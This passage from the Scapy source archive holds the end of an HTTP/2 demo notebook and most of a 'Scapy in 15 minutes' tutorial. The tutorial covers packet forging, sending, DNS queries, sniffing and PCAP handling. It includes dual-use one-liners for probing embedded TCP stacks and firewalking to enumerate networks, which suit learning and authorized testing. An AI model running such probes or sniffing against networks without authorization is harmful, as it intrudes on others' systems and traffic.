\x15W\\x9e\\xcb\\x857\\xd0\\xfav\\xb8\\xfc\\xcd\\x8a\\xb9\\xa0+\\x8d.\\xd9M:\\'\\xe9\\xecQK\\xee6;V#\\x17\\x9d\\xe6o\\xb3\\xed\\xed9i\\xdf\\x80\\x88\\xcd\\xf0o\\t\\x00\\xdf\\x04\\xff\\xce\\xcf\\xd7\\x13a\\x0e\\xfe\\xe2v/\\xe5qL4\\xc34\\x1f\\x17[\\xb9\\x84{\\x97\\x06|\\xb1\\xdc\\xf7\\x1a\\xdc!\\xbb3w\\xd1\\xda:\\xed\\xf7\\xf9\\x86Z,\\xc9\\xbc\\xb8=\\n5q\\xee\\xc3\\xf7}y\\xa1\\x1em\\xfe\\x06\\xfd\\xbdX\\x15.4\\xf8\\x07\\x8a\\xfbI\\xde\\x1d7V\\xa2 0\\xfd`|$\\xab\\x08,K]N\\xb0\\xbe\\xfb4+K\\x98\\xfd,e\\x08\\x0f\\xa7#M\"\\xf7\\x9b\\x87)\\x04Xl\\xdb\\x90\\xe9#\\\\\\xfd\\xfb\\xafH\\x90\\xe9EBAN_\\x1f\\xa5r\\x1el)\\x1c?\\xc1\\x9cS\\xee\\xfeH^\\xe2\\xcc,!Z\\x9e\\xb1e\\xe9e\\x9a\\xe6{\\tx\\xf0\\xf2u\\xe2r%\\xdb\\xf5\\xfa\\x15\\x1d\\x88\\x11\\x0e\\'\\x92\\x92W\\x19\\xf7\\xe9\"\\x89\\x9a\\xabC@\\xac\\x0c\\x17\\x9a\\xe4\\xf1B7\\t\\x1c\\xf7V\\xae\\x0b\\xdbt\\xb0\\x1f\\x80\\x8d\\xd7\\xf5\\x14\\xb4``\\xd8\\xed\\r\\x93\\xe3\\xd9\\x1d\\xd7\\x84\\xe5\\xba<(\\x07`\\xf1k\\xfb\\xdb\\x0c\\x14g.\\xffL\\xaf\\x0b^gp\\x10\\x00\\xcfcU\\xe9/5X\\x8c\\xf3\\xad\\x0b\\n\\x1d\\x1c\\x06@aU\\xfd}\\x86\\t~\\xd7\\x85k:\\xa8\\x04\\x87\\x08.\\xbe\\xd4\\xf0\\x84\\xce \\xaf\\t\\xceMyP\\r\\x80\\x13\\xaa\\xf2\\xef3\\\\\\xca\\xbaTx\\xd3\\x19\\xd4\\x82\\xa3\\xa5\\xac\\xa0\\xc1Uq\\x7f\\xe7\\x92\\x17\\x83\\xe9\\xf4a\\x1d\\x1c\\xf1\\x85\\x9e\\x07>\\x0f\\xf9\\xf3\\xa6\\x00\\xdfX\\x15\\x06\\x19d\\xe1p\\xc3T\\x01x\\xf5\\xee\\x99\\xad\\xd0G]oI9\\x971\\xaa\\xf0\\x93\\xa0\\xc0\\x8b\\x0c|\\xd1\\x14K\\xac\\xecE\\xf9Mq\\x0c\\xfb\\xda\\xc6\\x1e\\x87\\xdc\\x0f\\x13\\xf9\\xa6z\\xb3\\xe9`\\xbd\\x89p\\xbd\\xc9p\\xc5su\\xb4\\xaf\\xad\\x19\\xe6\\x89\\xd0\\xd2\\x8a\\x0cq\\x9c\\x02\\x1c\\xd0SK\\xc9\\x84O\\x0e\\'o\\xc5\\xd0n\\xe69HR\\x9c*>#\\x18\\xa9m\\x80\\x91\\xfe\\xec`\\xa4\\xb7\\x01F\\xe6\\xb3\\x83\\x91\\xd9\\x06\\x18\\xd9\\xcf\\x0eFv\\x1b`\\xe4>;\\x18\\xb9m\\x80\\xb1\\xfb\\xd9\\xc1\\xd8\\xdd\\x06\\x18\\xf9\\xcf\\x0eF~\\x1b`\\x14>;\\x18\\x85m\\x80\\x91L\\x04\\xe1X\\x88\\xeeP\\xaa\\x19\\x9e\\x98\\xd6s\\x04~f\\t\\xf9|G\\xde\\x84\\x81B.\\x80\\x81\\xdddP\\x07\\x08\\xbaN\\xe5w\"w\\xd2(RL\\xc0_\\xdb\\xd0M\\xff\\x0bm\\xe4_\\x8d\\xec\\x01\\xd4\\xf7{D\\xa6=\\xa8/r\\xd8\\xefK2\\tOi\\xec\\xc9t\\x84/m[\\x9a\\x92\\x19\\x8f\\'#\\x13\\xc7\\xc18\\x85\\x8e\\x8a\\xfb\\x1fM\\xe0.E(\\xa8\\xc9\\xc3)\\x94<\\xfa\\xd5M$R9fP\\xa6HvP\\x1f\\xeed\\x94\\xb12m\\xc4Z\\x02\\x1e+\\xb1c@\\xa6\\xe6\\xda\\xf0\\xd8\\xb0\\x87\\x08\\xc5)Z\\x9b\\xf9\\x19[\\x89\\xda\\x14?0a\\x9c\\xe1M\\x99\\xb5h\\xbb\\x83\\x01\\xb1\\x99\\x17M\\xe2\\xe6\\xe9G\\xe7Q@&f\\xd1\\xd1#\\xdb)96p\\x13\\x0ev!]\\xf6&\\xc6\\xaf\\x11?_\\xd8\\xaf\\x11\\xf6\\xe2P\\r\\xa5\\x07\\xe3\\x85\\xe3\\x12\\x7f\\x17\\xe3\\x8db7;\\xbcb\\x82H\\xb5{\\x14{\\xb8\\xe0\\xa7xB\\x8a\\xa5\\xaf\\xc1\\x97\\x18\\xb26\\xf8\\x92\\xcf\\xb4\\xc8\\x9f;\\x11\\x1d\\x87\\x8c\\xa3\\xdb\\x18[\\x80mxf\\xdeCa\\xc6\\xea\\xe0[\\xe8\\xa1\\xa9\\xf8E\\xac>\\x94\\xfe\\x85\\xbf\\x13<\\xd3-\\xd6\\xcf\\xee}\\x13\\xe1\\xfc\\x01\\xb3D\\xcd\\xefB\\x06\\x8f\\xf9Sn#\\x9d\\xdf\\xfav\\xb8\\xc5\\x03\\xf8]\\xdc(\\xfd\\xc8ox\\x03\\x1dJ&\\xf0\\x82D\\x8aY\\xf8\\xeb\\x18C\\xe8\\xf2\\xb8\\xa0\\xea\\x85\\xc3\\x93\\xd6E\\xaa|\\x9f\\xbc8\\x10\\xdd\\x9c\\xabds\\xe7\\xb3\\xe1\\xb4\\x1d\\xf9\\xf3\\xa7\\x17\\xd3c\\x86s\\xe5\\xca\\x8aQ\\xfa\\xddK\\xd9\\x90\\xd8\\xe1r8\\xf1\\xe7\\x934\\xa8\\x92\\x9f\\xf2\\x98b\\x18\\x90K,\\xb6\\xd3\\x0b=\\xab\\xb1:0_\\xf0w\\xd2\\x1f\\x7f|\\xd7\\xfb\\t?\\x93\\xfd\">Fv\\x80\\xb1\\x95;\\x9dd\\xd9\\x18\\x99\\x92\\x13)\\x95d\\xf4\\xb4\\xc1e\\xd3P\\xc8\\xcf\\xf2\\xbc\\x9c\\x97\\x9f\\xb3(\\xc7\\x90\\xc3\\xedH%%\\xc6\\xe7\\xa7\\xdf\\xb4\\x7f\\xef5+}\\xf8\\xd0\\xfb\\xf0\\xe1G\\xe9\\xbb\\xd2\\x02\\xae\\x18\\x83\\xe6\\x8f?z\\xa1\\x87\\x1c\\xd6E\\xea[\\x96T\\x13\\xd0\\x0e\\xff\\xe2\\xbcJL\\xb0\\xfb\\xf3\\x07/\\xbbn\\x8fN\\xbc\\xf4\\xba=\\xaa\\xb2\\xf4\\xba\\xe1$\\xbf\\xc0\\x1f\\x97\\x93\\x98.1\\xc9\\xb8\\xc7\\xa3Q\\x08\\xec\\xfd?\\x00\\x00\\x00\\xff\\xff'\n", " padding = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x5b\n", " type = DataFrm\n", " flags = set(['End Stream (ES)', 'Padded (P)'])\n", " reserved = 0L\n", " stream_id = 5L\n", "###[ HTTP/2 Padded Data Frame ]### \n", " padlen = 80\n", " data = '\\x03\\x00\\x1d\\x82P[\\x14\\xaa\\x00\\x00'\n", " padding = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n", "\n" ] } ], "prompt_number": 137 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's display the answer in human-readable format. We assume, once more for the sake of simplicity that we received very few headers." ] }, { "cell_type": "code", "collapsed": false, "input": [ "stream_txt = srv_tblhdr.gen_txt_repr(h2seq.frames[0])\n", "data = ''\n", "for frgmt in h2seq.frames[1:]:\n", " data += frgmt.payload.data\n", "print(stream_txt)\n", "HTML(zlib.decompress(data, 16+zlib.MAX_WBITS).decode(\"utf-8\", \"ignore\"))" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ ":status 200\n", "date: Tue, 13 Dec 2016 17:36:19 GMT\n", "p3p: CP=\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\"\n", "server: gws\n", "content-length: 4420\n", "expires: Fri, 16 Dec 2016 06:23:59 GMT\n", "set-cookie: NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly\n", "alt-svc: quic=\":443\"; ma=2592000; v=\"35,34\"\n", "date: Tue, 13 Dec 2016 17:36:19 GMT\n", "cache-control: private, max-age=0\n" ] }, { "html": [ "scapy - Recherche Google

 
Environ 190 000rsultats

    Scapy - SecDev.org

    www.secdev.org/projects/scapy/
    Scapy is a powerful interactive packet manipulation program. It is able to forge or
    \n", "decode packets of a wide number of protocols, send them on the wire, capture ...

    Usage — Scapy v2.1.1-dev documentation - SecDev.org

    www.secdev.org/projects/scapy/doc/usage.html
    Scapy's interactive shell is run in a terminal session. Root privileges are needed
    \n", "to send the packets, so we're using sudo here: $ sudo scapy Welcome to Scapy ...

    Manipulez les paquets rseau avec Scapy - OpenClassrooms

    https://openclassrooms.com/.../manipulez-les-paquets-reseau-avec-scapy
    20 nov. 2013 ... Scapy est un module pour Python permettant de forger, envoyer, rceptionner et
    \n", "manipuler des paquets rseau. Si le rseau vous intresse et ...

    Scapy — Wikipdia

    https://fr.wikipedia.org/wiki/Scapy
    Scapy est un logiciel libre de manipulation de paquets rseau crit en python. Il
    \n", "est capable, entre autres, d'intercepter le trafic sur un segment rseau, ...

    Scapy | Les Tutos de Nico

    www.lestutosdenico.com/tutos-de-nico/scapy
    26 avr. 2010 ... Scapy est un outil Open Source crit par Philippe Biondi. Cet utilitaire permet de
    \n", "manipuler, forger, dcoder, mettre, recevoir les paquets ...

    GitHub - secdev/scapy: Scapy: the python-based interactive packet ...

    https://github.com/secdev/scapy
    scapy - Scapy: the python-based interactive packet manipulation program &
    \n", "library.

    [PDF] 

    Les Fourberies de Scapy - Zenk - Security - Repository

    https://repo.zenk-security.com/.../Les%20Fourberies%20de%20Scapy.pdf
    Python & Scapy : cration de module ou de programme . . . . . . . . . . . . . . . . . . 12.
    \n", "3.1. Python & Scapy .... 16 change de paquet de Wireshark vers Scapy .

    Tutorial Scapy, introduction - Le blog de Thierry

    www.chambeyron.fr/index.php/systeme.../scapy/8-scapy-les-bases
    19 sept. 2014 ... Pour connaitre la liste des commandes scapy >>> lsc() arpcachepoison : Poison
    \n", "target's cache with (your MAC,victim's IP) couple arping : Send ...

    [PDF] 

    Scapy en pratique - Repository Root Me

    repository.root-me.org/.../FR%20-%20Scapy%20en%20pratique.pdf
    17 mai 2008 ... Scapy en pratique. PyCON FR – 17 Mai 2008 - Renaud Lifchitz. 3. Qu'est-ce
    \n", "que Scapy ? Prsentation gnrale. ○. Interprteur Python ...

    [How To]Utilisation de Scapy | cloud's Blog

    blog.madpowah.org/articles/scapy/index.html
    18 sept. 2008 ... Scapy est un logiciel dvelopp en python qui permet de forger des paquets, de
    \n", "sniffer et de faire bien d'autres actions bien utiles pour faire du ...

" ], "metadata": {}, "output_type": "pyout", "prompt_number": 141, "text": [ "" ] } ], "prompt_number": 141 } ], "metadata": {} } ] }scapy-2.4.4/doc/notebooks/Scapy in 15 minutes.ipynb000066400000000000000000006204451372370053500220140ustar00rootroot00000000000000{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Scapy in 15 minutes (or longer)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "##### Guillaume Valadon & Pierre Lalet" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Scapy](http://www.secdev.org/projects/scapy) is a powerful Python-based interactive packet manipulation program and library. It can be used to forge or decode packets for a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more.\n", "\n", "This iPython notebook provides a short tour of the main Scapy features. It assumes that you are familiar with networking terminology. All examples were built using the development version from [https://github.com/secdev/scapy](https://github.com/secdev/scapy), and tested on Linux. They should work as well on OS X, and other BSD.\n", "\n", "The current documentation is available on [http://scapy.readthedocs.io/](http://scapy.readthedocs.io/) !" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Scapy eases network packets manipulation, and allows you to forge complicated packets to perform advanced tests. As a teaser, let's have a look a two examples that are difficult to express without Scapy:\n", "\n", "1_ Sending a TCP segment with maximum segment size set to 0 to a specific port is an interesting test to perform against embedded TCP stacks. It can be achieved with the following one-liner:" ] }, { "cell_type": "code", "execution_count": 30, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Sent 1 packets.\n" ] } ], "source": [ "send(IP(dst=\"1.2.3.4\")/TCP(dport=502, options=[(\"MSS\", 0)]))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "2_ Advanced firewalking using IP options is sometimes useful to perform network enumeration. Here is a more complicated one-liner:" ] }, { "cell_type": "code", "execution_count": 31, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ " - IPOption_RR IPOption_Traceroute \n", "1 192.168.42.1 time-exceeded 192.168.46.1 time-exceeded 192.168.46.1 time-exceeded \n", "2 172.42.0.1 time-exceeded 172.42.0.1 time-exceeded 172.42.0.1 time-exceeded \n", "3 42.10.69.251 time-exceeded 42.10.69.251 time-exceeded 42.10.69.251 time-exceeded \n", "4 10.123.156.86 time-exceeded 10.123.156.86 time-exceeded - \n", "5 69.156.98.177 time-exceeded 69.156.98.177 time-exceeded - \n", "6 69.156.137.74 time-exceeded 69.156.137.74 time-exceeded - \n", "7 209.85.172.150 time-exceeded - - \n", "8 216.239.57.203 time-exceeded - - \n" ] } ], "source": [ "ans = sr([IP(dst=\"8.8.8.8\", ttl=(1, 8), options=IPOption_RR())/ICMP(seq=RandShort()), IP(dst=\"8.8.8.8\", ttl=(1, 8), options=IPOption_Traceroute())/ICMP(seq=RandShort()), IP(dst=\"8.8.8.8\", ttl=(1, 8))/ICMP(seq=RandShort())], verbose=False, timeout=3)[0]\n", "ans.make_table(lambda x, y: (\", \".join(z.summary() for z in x[IP].options) or '-', x[IP].ttl, y.sprintf(\"%IP.src% %ICMP.type%\")))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Now that we've got your attention, let's start the tutorial !" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Quick setup" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The easiest way to try Scapy is to clone the github repository, then launch the `run_scapy` script as root. The following examples can be pasted at the Scapy prompt. There is no need to install any external Python modules." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "```shell\n", "git clone https://github.com/secdev/scapy --depth=1\n", "sudo ./run_scapy\n", "Welcome to Scapy (2.4.0)\n", ">>>\n", "```" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Note: iPython users must import scapy as follows" ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [], "source": [ "from scapy.all import *" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## First steps" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "With Scapy, each network layer is a Python class.\n", "\n", "The `'/'` operator is used to bind layers together. Let's put a TCP segment on top of IP and assign it to the `packet` variable, then stack it on top of Ethernet. " ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [ { "data": { "text/plain": [ ">>" ] }, "execution_count": 2, "metadata": {}, "output_type": "execute_result" } ], "source": [ "packet = IP()/TCP()\n", "Ether()/packet" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This last output displays the packet summary. Here, Scapy automatically filled the Ethernet type as well as the IP protocol field.\n", "\n", "Protocol fields can be listed using the `ls()` function:" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ " >>> ls(IP, verbose=True)\n", " version : BitField (4 bits) = (4)\n", " ihl : BitField (4 bits) = (None)\n", " tos : XByteField = (0)\n", " len : ShortField = (None)\n", " id : ShortField = (1)\n", " flags : FlagsField (3 bits) = (0)\n", " MF, DF, evil\n", " frag : BitField (13 bits) = (0)\n", " ttl : ByteField = (64)\n", " proto : ByteEnumField = (0)\n", " chksum : XShortField = (None)\n", " src : SourceIPField (Emph) = (None)\n", " dst : DestIPField (Emph) = (None)\n", " options : PacketListField = ([])" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's create a new packet to a specific IP destination. With Scapy, each protocol field can be specified. As shown in the `ls()` output, the interesting field is `dst`.\n", "\n", "Scapy packets are objects with some useful methods, such as `summary()`." ] }, { "cell_type": "code", "execution_count": 3, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "\"Ether / IP / TCP 172.20.10.2:ftp_data > Net('www.secdev.org'):http S\"" ] }, "execution_count": 3, "metadata": {}, "output_type": "execute_result" } ], "source": [ "p = Ether()/IP(dst=\"www.secdev.org\")/TCP()\n", "p.summary()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "There are not many differences with the previous example. However, Scapy used the specific destination to perform some magic tricks !\n", "\n", "Using internal mechanisms (such as DNS resolution, routing table and ARP resolution), Scapy has automatically set fields necessary to send the packet. These fields can of course be accessed and displayed." ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "3a:71:de:90:0b:64\n", "172.20.10.2\n", "b8:e8:56:45:8c:e6 > 3a:71:de:90:0b:64\n", "172.20.10.2 > Net('www.secdev.org')\n" ] } ], "source": [ "print(p.dst) # first layer that has an src field, here Ether\n", "print(p[IP].src) # explicitly access the src field of the IP layer\n", "\n", "# sprintf() is a useful method to display fields\n", "print(p.sprintf(\"%Ether.src% > %Ether.dst%\\n%IP.src% > %IP.dst%\"))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Scapy uses default values that work most of the time. For example, `TCP()` is a SYN segment to port 80." ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "S http\n" ] } ], "source": [ "print(p.sprintf(\"%TCP.flags% %TCP.dport%\"))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Moreover, Scapy has implicit packets. For example, they are useful to make the TTL field value vary from 1 to 5 to mimic traceroute." ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "[>,\n", " >,\n", " >,\n", " >,\n", " >]" ] }, "execution_count": 11, "metadata": {}, "output_type": "execute_result" } ], "source": [ "[p for p in IP(ttl=(1,5))/ICMP()]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Sending and receiving" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Currently, you know how to build packets with Scapy. The next step is to send them over the network !\n", "\n", "The `sr1()` function sends a packet and returns the corresponding answer. `srp1()` does the same for layer two packets, i.e. Ethernet. If you are only interested in sending packets `send()` is your friend.\n", "\n", "As an example, we can use the DNS protocol to get www.example.com IPv4 address." ] }, { "cell_type": "code", "execution_count": 23, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Received 19 packets, got 1 answers, remaining 0 packets\n", "Begin emission:\n", "Finished to send 1 packets.\n" ] }, { "data": { "text/plain": [ "" ] }, "execution_count": 23, "metadata": {}, "output_type": "execute_result" } ], "source": [ "p = sr1(IP(dst=\"8.8.8.8\")/UDP()/DNS(qd=DNSQR()))\n", "p[DNS].an" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Another alternative is the `sr()` function. Like `srp1()`, the `sr1()` function can be used for layer 2 packets." ] }, { "cell_type": "code", "execution_count": 47, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Received 7 packets, got 6 answers, remaining 0 packets\n", "Begin emission:\n", "Finished to send 6 packets.\n" ] }, { "data": { "text/plain": [ "(,\n", " )" ] }, "execution_count": 47, "metadata": {}, "output_type": "execute_result" } ], "source": [ "r, u = srp(Ether()/IP(dst=\"8.8.8.8\", ttl=(5,10))/UDP()/DNS(rd=1, qd=DNSQR(qname=\"www.example.com\")))\n", "r, u" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "`sr()` sent a list of packets, and returns two variables, here `r` and `u`, where:\n", "1. `r` is a list of results (i.e tuples of the packet sent and its answer)\n", "2. `u` is a list of unanswered packets" ] }, { "cell_type": "code", "execution_count": 48, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Ether / IP / UDP / DNS Qry \"www.example.com\" \n", "Ether / IP / ICMP / IPerror / UDPerror / DNS Qry \"www.example.com.\" \n" ] }, { "data": { "text/plain": [ " an=None ns=None ar=None |>>>>" ] }, "execution_count": 48, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Access the first tuple\n", "print(r[0][0].summary()) # the packet sent\n", "print(r[0][1].summary()) # the answer received\n", "\n", "# Access the ICMP layer. Scapy received a time-exceeded error message\n", "r[0][1][ICMP]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "With Scapy, list of packets, such as `r` or `u`, can be easily written to, or read from PCAP files." ] }, { "cell_type": "code", "execution_count": 50, "metadata": {}, "outputs": [ { "data": { "text/plain": [ " an=None ns=None ar=None |>>>>" ] }, "execution_count": 50, "metadata": {}, "output_type": "execute_result" } ], "source": [ "wrpcap(\"scapy.pcap\", r)\n", "\n", "pcap_p = rdpcap(\"scapy.pcap\")\n", "pcap_p[0]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Sniffing the network is as straightforward as sending and receiving packets. The `sniff()` function returns a list of Scapy packets, that can be manipulated as previously described." ] }, { "cell_type": "code", "execution_count": 52, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "" ] }, "execution_count": 52, "metadata": {}, "output_type": "execute_result" } ], "source": [ "s = sniff(count=2)\n", "s" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "`sniff()` has many arguments. The `prn` one accepts a function name that will be called on received packets. Using the `lambda` keyword, Scapy could be used to mimic the `tshark` command behavior." ] }, { "cell_type": "code", "execution_count": 53, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Ether / IP / TCP 172.20.10.2:52664 > 216.58.208.200:https A\n", "Ether / IP / TCP 216.58.208.200:https > 172.20.10.2:52664 A\n" ] }, { "data": { "text/plain": [ "" ] }, "execution_count": 53, "metadata": {}, "output_type": "execute_result" } ], "source": [ "sniff(count=2, prn=lambda p: p.summary())" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Alternatively, Scapy can use OS sockets to send and receive packets. The following example assigns an UDP socket to a Scapy `StreamSocket`, which is then used to query www.example.com IPv4 address.\n", "Unlike other Scapy sockets, `StreamSockets` do not require root privileges." ] }, { "cell_type": "code", "execution_count": 79, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Received 1 packets, got 1 answers, remaining 0 packets\n", "Begin emission:\n", "Finished to send 1 packets.\n" ] }, { "data": { "text/plain": [ " an= ns=None ar=None |>" ] }, "execution_count": 79, "metadata": {}, "output_type": "execute_result" } ], "source": [ "import socket\n", "\n", "sck = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # create an UDP socket\n", "sck.connect((\"8.8.8.8\", 53)) # connect to 8.8.8.8 on 53/UDP\n", "\n", "# Create the StreamSocket and gives the class used to decode the answer\n", "ssck = StreamSocket(sck)\n", "ssck.basecls = DNS\n", "\n", "# Send the DNS query\n", "ssck.sr1(DNS(rd=1, qd=DNSQR(qname=\"www.example.com\")))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Visualization\n", "Parts of the following examples require the [matplotlib](http://matplotlib.org/) module." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "With `srloop()`, we can send 100 ICMP packets to 8.8.8.8 and 8.8.4.4." ] }, { "cell_type": "code", "execution_count": 25, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [] } ], "source": [ "ans, unans = srloop(IP(dst=[\"8.8.8.8\", \"8.8.4.4\"])/ICMP(), inter=.1, timeout=.1, count=100, verbose=False)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Then we can use the results to plot the IP id values." ] }, { "cell_type": "code", "execution_count": 26, "metadata": {}, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAiIAAAENCAYAAAAypg5UAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3Xl0VeX59vHvjaKgAgGVWUZHREVUtK3KQVtRnLV1qBXU\nWm3FsdUq9VcTtIqoOKAVpSqDWlFxwL6MIgmIKIMSQAYNQwJhCCCEeQjJ/f6xd/AQTpITCJwkXJ+1\nsrLPc56z8+wly1x5RnN3RERERBKhWqIbICIiIgcuBRERERFJGAURERERSRgFEREREUkYBRERERFJ\nGAURERERSZi4goiZ1TGzD81srpnNNrOzzayumY0xsx/MbLSZ1Ymq39fMMsws3czaRZV3M7Mfw890\njSpvb2Yzw/deLN9HFBERkYoq3h6Rl4AR7n4ScBowD3gEGOvuJwDjgB4AZnYJ0NrdjwPuBF4Ly+sC\njwFnAWcDyVHhpR9wu7sfDxxvZp3L4+FERESkYis1iJhZLeA8dx8A4O473H0dcCUwKKw2KHxN+H1w\nWHcyUMfMGgCdgTHuvs7dc4ExwMVm1hCo5e5Tws8PBq4ql6cTERGRCi2eHpFWwGozG2Bm35lZfzM7\nDGjg7jkA7r4CqB/WbwIsifp8dlhWtHxpVHl2jPoiIiJSxcUTRA4G2gP/dvf2wCaCYZni9oa3GK89\nRjmllIuIiEgVd3AcdbKBJe4+LXz9EUEQyTGzBu6eEw6vrIyqf0zU55sCy8LySJHy1BLq78bMFFBE\nRPaAu8f6o08k4UrtEQmHX5aY2fFh0YXAbOAz4Jaw7BZgWHj9GdAVwMzOAXLDe4wGfhOuwKkL/AYY\nHQ7rrDezDmZm4WcL7xWrPVX2Kzk5OeFt0LPp+fR8Ve9LpCKLp0cE4F7gXTOrDiwEbgUOAj4ws9uA\nxcDvANx9hJl1MbP5BMM4t4bla83sCWAawdBLTw8mrQLcBQwEahCszhlVHg8nIiIiFVtcQcTdZxAs\nuy3q18XUv7uY8oEEgaNo+bfAKfG0RURERKoO7axagUQikUQ3YZ+pys8Ger7Krqo/n0hFZpVp/NDM\nvDK1V0QqrrTMNCItIrtdV0VmhmuyqlRQ6hERkQNSWmZazGsR2b8URESkSioMF7ECR4EXsGLjCobN\nG8YrU15hybolu99ARPaLeFfNiIhUSMUNsRReR5e98e0bPDfpOb7J/oaftvzEh7M/5NCDD2X5xuUc\nUyfYzijSIlKlh2lEKhoFERGpdIoLH+MWjePEo04kZ2MOC9cu5P3v32dy9mTuGn4Xc1bNYXL2ZDof\n25mPrvuIcYvG0bNTTwBS0lJIiaQk5mFEDnAKIiJSaRTt5Zi+fDqpi1KZmTOTWStnMX/NfPp83Yfq\n1aqzbts6RmaMZPWW1TQ+ojFHHXYUW/O30q5hO1IzU8lal5XoxxERFEREpIIr2vvRvlF7RmWM4vVv\nX2dz3mbWb1vPSUedRNKhSQA89MuHAMjMzWTgVQN36e2Ivo6eO6KhGJHE0WRVEakQilvFUnj9xndv\n0P/b/tR/tj6Tl03m1y1/zX1n30e307oxp/scpt4xleSOyaREgrDRIqlFiT8vOnwoiI